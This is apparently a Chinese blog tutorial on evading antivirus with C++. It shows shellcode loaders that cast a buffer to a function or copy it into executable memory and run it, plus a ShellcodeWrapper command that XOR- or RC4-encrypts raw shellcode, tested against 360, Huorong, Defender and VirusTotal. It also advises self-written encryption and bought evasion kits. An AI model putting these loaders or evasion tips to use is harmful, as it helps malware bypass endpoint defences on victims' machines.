免杀对抗—C++混淆算法shellcode上线回调编译执行
前言
上次讲了python混淆免杀,今天讲一下C++混淆免杀。其实都大差不差的,也都是通过各种算法对shellcod进行混淆免杀,只不过是语言从python换成c++了而已。
实验环境
测试环境依旧是360、火绒、WD还有VT。
shellcode上线
下面是最基本几个shellcode加载器和运行代码。
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口
unsigned char buf[] =" ";
int main()
{//方式一:指针执行/* ((void(*)(void)) & buf)();*///方式二:强制类型转换//((void(WINAPI*)(void))&buf)();//方式三:申请动态内存加载/*char* Memory;Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(Memory, buf, sizeof(buf));((void(*)())Memory)();*///方式四:嵌入汇编加载//__asm {//lea eax,buf//call eax//}//方式五:汇编花指令//__asm{//mov eax, offset shellcode//_emit 0xFF//_emit 0xE0//}
}
C++呢它不能像python那样直接运行就可以上线,必须生成exe才可以进行上线。顺便说一下如果你生成的shellcode是64位的,那么编译成exe也要选择64位的,同时选择release发布版本,如果你选择debug版本的话,在运行的时候可能会出错,说缺DLL啥的。
生成exe。
但是不知道为啥运行不了,黑窗弹出来然后马上就没了,命令运行也没见啥报错,奇怪了。
虚拟机运行报错如下,有了解的还请解答一下。
后来我又找了一个加载器,不同于上面四个的,这个就可以成功运行。
void main()
{LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (Memory == NULL) { return; }memcpy(Memory, shellcode, sizeof(shellcode));((void(*)())Memory)();
}
不用说,原生态的肯定会被查杀的。
加载器免杀
上篇文章说了,除了对shellcode进行混淆之外,还可以对加载器进行免杀。这是我从github找的开源项目,反正就是换各种奇奇怪怪的加载器来执行shellcode,但是效果就不怎么好的,基本没有免杀成功的,就不一个个测试了。
shellcode免杀
我们利用ShellcodeWrapper这个脚本进行免杀,对我们的shellcode进行异或,或者是RC4加密。
下载地址:GitHub - Ch1ngg/ShellcodeWrapperModify: Shellcode wrapper with encryption for multiple target languages
XOR
先生成一个raw格式的shellcode。
这个项目用法也简单,-cpp就是加密后生成一个c++的源文件,-CS就是生成C#的源文件,-py这些也同样的道理。
./shellcode_encoder.py -cpp -cs -py -bin -go 3.bin xor
把c++的编译一下,测试效果,其它语言自己测试就好。火绒一落地就杀了,都还没检测。
WD也是一落地就杀了。
360也杀了。
VT有41个引擎检测到,免杀效果很差,不过也正常20年的项目了,现在都不更新了。
RC4
试试RC4看看效果如何,火绒杀掉了。
360也杀掉了
WD也不行。
说明这个项目确实没啥用了,VT就不测试了。
总结
思路就是用C++来写算法对shellcode加密,以此来逃过杀软的检测。C++的免杀效果不太好,想要达到更好的免杀效果,一个就是换其他语言,比如go啊、python啊。还有就是加密脚本尽量自己写,因为网上公开的脚本,只要用的人多了,杀软就会提取它的特征加入特征库,所以这就是为啥公开的很快就失效了。并不是说自己写的脚本加密方式有多复杂,而是避开了那些特征。还有就是可以进别人的星球去买内部的免杀资源,这样的效果会好很多。
最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。
相关文章:

免杀对抗—C++混淆算法shellcode上线回调编译执行
前言 上次讲了python混淆免杀,今天讲一下C混淆免杀。其实都大差不差的,也都是通过各种算法对shellcod进行混淆免杀,只不过是语言从python换成c了而已。 实验环境 测试环境依旧是360、火绒、WD还有VT。 shellcode上线 下面是最基本几个sh…...

考研数据结构——C语言实现插入排序
插入排序是一种简单直观的比较排序算法,它的工作原理是通过构建有序序列,对于未排序数据,在已排序序列中从后向前扫描,找到相应位置并插入。插入排序在实现上,通常采用in-place(原地排序)&#…...
苍穹外卖学习笔记(十三)
三. 导入商品浏览功能代码 由于user的Controller与admin的相同,记得修改RestController注释 1. 查询分类 CategoryController package com.sky.controller.user;import com.sky.entity.Category; import com.sky.result.Result; import com.sky.service.Categor…...
如果没有pos信息,只有一些近景的照片,可以用编辑重建大师进行建模吗?
可以。软件在新建工程时,提供有无人机和近景的选择,选择为近景即可。 重建大师,这是一款专为超大规模实景三维数据生产设计的集群并行处理软件,支持卫星影像、航空影像、倾斜影像和激光点云多源数据输入建模,可完成超…...

智能感知,主动防御:移动云态势感知为政企安全护航
数字化时代,网络安全已成为企业持续运营和发展的重要基石。随着业务扩展,企业资产的数量急剧增加,且分布日益分散,如何全面、准确地掌握和管理资产成为众多政企单位的难题。同时,传统安全手段又难以有效应对新型、隐蔽…...

论文笔记(四十六)RobotGPT: Robot Manipulation Learning From ChatGPT
xx RobotGPT: Robot Manipulation Learning From ChatGPT 文章概括摘要I. 介绍II. 相关工作III. 方法论A. ChatGPT 提示机器人操作B. 机器人学习 IV. 实验A. 衡量标准B. 实验设置C. 模拟实验D. 真实机器人实验E. AB测试 V. 结论 文章概括 引用: article{jin2024r…...

docker - 镜像操作(拉取、查看、删除)
文章目录 1、docker search --help(用于显示 Docker 搜索命令的帮助信息)2、docker pull(拉取镜像)3、docker images (查看镜像)3.1、docker images --help(用于显示 Docker 镜像管理相关命令的帮助信息)3.…...

如何选择数据库架构
选择合适的数据库架构是一个复杂的过程,它取决于多种因素,包括应用程序的需求、数据量的大小、并发访问量、数据一致性要求、预算以及技术团队的熟悉程度等。以下是一些关键的步骤和考虑因素,帮助你选择合适的数据库架构: 1. 分析…...

Mysql高级篇(中)——锁机制
锁机制 一、概述二、分类1、读锁2、写锁⭐、FOR SHARE / FOR UPDATE(1)NOWAIT(2)SKIP LOCKED(3)NOWAIT 和 SKIP LOCKED 的比较 ⭐、 脏写3、表级锁之 S锁 / X锁(1)总结(2…...

JavaWeb图书借阅系统
目录 1 项目介绍2 项目截图3 核心代码3.1 Controller3.2 Service3.3 Dao3.4 spring-mybatis.xml3.5 spring-mvc.xml3.5 login.jsp 4 数据库表设计5 文档参考6 计算机毕设选题推荐7 源码获取 1 项目介绍 博主个人介绍:CSDN认证博客专家,CSDN平台Java领域优…...

文档矫正算法:DocTr++
文档弯曲矫正(Document Image Rectification)的主要作用是在图像处理领域中,对由于拍摄、扫描或打印过程中产生的弯曲、扭曲文档进行校正,使其恢复为平整、易读的形态。 一. 论文和代码 论文地址:https://arxiv.org/…...

Vxe UI vue vxe-table vxe-grid 单元格与表尾单元格如何格式化数据
Vxe UI vue vxe-table vxe-grid 单元格与表尾单元格如何格式化数据 查看 github vxe-table 官网 单元格内容格式化 通过 formatter 属性自定义格式化方法 <template><div><vxe-grid v-bind"gridOptions"></vxe-grid></div> </t…...
【百日算法计划】:每日一题,见证成长(021)
题目 栈排序 编写程序,对栈进行排序使最小元素位于栈顶。最多只能使用一个其他的临时栈存放数据,但不得将元素复制到别的数据结构(如数组)中。该栈支持如下操作:push、pop、peek 和 isEmpty。当栈为空时,p…...

数据恢复篇:如何恢复几年前删除的照片
您是否曾经遇到过几年前删除了一张图片并觉得需要恢复旧照片的情况?虽然,没有确定的方法可以丢失或删除的照片。但是,借助奇客数据恢复等恢复工具,可以恢复多年前永久删除的照片、视频和音频文件。 注意 – 如果旧数据被覆盖&…...

前端注释规范
1、目的和原则 提高可读性和可维护性 如无必要,无增注释;如有必要,尽量详尽 2、语法 单行注释: // 多行注释: /**/ 3、规范 1、注释符与注释内容之间加一个空格 2、注释行与上方代码间加一个空行 4、Javascript …...

uniapp踩坑 tabbar页面数据刷新了但视图没有更新
问题描述: 有个uni-data-checkbox组件,两个选项:选项1和选项2(对应的value值分别为1和2),v-model绑定属性名为value 两个tabbar页面:tab1,tab2。 tab1页面有个逻辑是在onShow中刷新v…...
WebAssembly与WebGPU:游戏开发的新时代
文章目录 WebAssembly简介WebGPU简介Wasm WebGPU 在游戏开发中的优势创建一个简单的WebAssembly模块使用WebGPU绘制一个三角形WebAssembly 的高级特性内存管理异步加载与多线程 WebGPU 的高级特性着色器编程计算着色器 实战案例:创建一个简单的 2D 游戏游戏逻辑设计…...

SAP B1 认证考试习题 - 解析版(二)
前一篇:《SAP B1 认证考试习题 - 解析版(一)》 题目纯享版合集:《SAP B1 认证考试习题 - 纯享版》 三、采购流程 30. 下列哪个凭证在采购流程中是必须要完成的 A. 采购订单 B. 收货采购订单 C. 应付发票 D. 退货 E. 应付贷…...

《Ubuntu20.04环境下的ROS进阶学习7》
一、使用nav_msgs消息包显示小车轨迹 在我们跑实验的时候通常希望看到小车的轨迹,在ROS1中可以将小车的路径存储在nav_msgs::Path 这种消息类型里,发布出来后使用rviz来显示小车轨迹。 二、了解nav_msgs消息包 那么首先我们要来了解一下nav_msgs这个消息…...

免费视频无损压缩工具+预览视频生成工具
视频无损压缩工具 功能与作用 :视频无损压缩工具是一种能够减少视频文件大小,但同时保持视频质量的工具。它通过先进的编码技术和算法,有效降低视频文件的存储空间,同时保证视频的清晰度和观感。这对于需要分享或存储大量视频内容…...
基于算法竞赛的c++编程(28)结构体的进阶应用
结构体的嵌套与复杂数据组织 在C中,结构体可以嵌套使用,形成更复杂的数据结构。例如,可以通过嵌套结构体描述多层级数据关系: struct Address {string city;string street;int zipCode; };struct Employee {string name;int id;…...

【Axure高保真原型】引导弹窗
今天和大家中分享引导弹窗的原型模板,载入页面后,会显示引导弹窗,适用于引导用户使用页面,点击完成后,会显示下一个引导弹窗,直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…...

接口测试中缓存处理策略
在接口测试中,缓存处理策略是一个关键环节,直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性,避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明: 一、缓存处理的核…...
【杂谈】-递归进化:人工智能的自我改进与监管挑战
递归进化:人工智能的自我改进与监管挑战 文章目录 递归进化:人工智能的自我改进与监管挑战1、自我改进型人工智能的崛起2、人工智能如何挑战人类监管?3、确保人工智能受控的策略4、人类在人工智能发展中的角色5、平衡自主性与控制力6、总结与…...
Spring Boot 实现流式响应(兼容 2.7.x)
在实际开发中,我们可能会遇到一些流式数据处理的场景,比如接收来自上游接口的 Server-Sent Events(SSE) 或 流式 JSON 内容,并将其原样中转给前端页面或客户端。这种情况下,传统的 RestTemplate 缓存机制会…...
Golang dig框架与GraphQL的完美结合
将 Go 的 Dig 依赖注入框架与 GraphQL 结合使用,可以显著提升应用程序的可维护性、可测试性以及灵活性。 Dig 是一个强大的依赖注入容器,能够帮助开发者更好地管理复杂的依赖关系,而 GraphQL 则是一种用于 API 的查询语言,能够提…...
C# SqlSugar:依赖注入与仓储模式实践
C# SqlSugar:依赖注入与仓储模式实践 在 C# 的应用开发中,数据库操作是必不可少的环节。为了让数据访问层更加简洁、高效且易于维护,许多开发者会选择成熟的 ORM(对象关系映射)框架,SqlSugar 就是其中备受…...
鱼香ros docker配置镜像报错:https://registry-1.docker.io/v2/
使用鱼香ros一件安装docker时的https://registry-1.docker.io/v2/问题 一键安装指令 wget http://fishros.com/install -O fishros && . fishros出现问题:docker pull 失败 网络不同,需要使用镜像源 按照如下步骤操作 sudo vi /etc/docker/dae…...

RNN避坑指南:从数学推导到LSTM/GRU工业级部署实战流程
本文较长,建议点赞收藏,以免遗失。更多AI大模型应用开发学习视频及资料,尽在聚客AI学院。 本文全面剖析RNN核心原理,深入讲解梯度消失/爆炸问题,并通过LSTM/GRU结构实现解决方案,提供时间序列预测和文本生成…...

排序算法总结(C++)
目录 一、稳定性二、排序算法选择、冒泡、插入排序归并排序随机快速排序堆排序基数排序计数排序 三、总结 一、稳定性 排序算法的稳定性是指:同样大小的样本 **(同样大小的数据)**在排序之后不会改变原始的相对次序。 稳定性对基础类型对象…...